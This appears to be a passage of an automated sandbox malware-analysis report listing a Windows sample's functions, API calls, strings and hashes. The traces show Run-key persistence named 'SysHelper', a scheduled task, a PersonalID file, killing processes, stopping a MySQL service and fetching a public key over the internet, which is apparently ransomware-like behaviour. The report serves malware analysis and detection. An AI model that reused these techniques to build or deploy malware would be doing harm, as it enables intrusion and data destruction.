Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
',', xrefs: 0046560B
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

Shell32.dll, xrefs: 0040F32C
\, xrefs: 0040F548
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

Proc-Type: , xrefs: 0046337C
ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
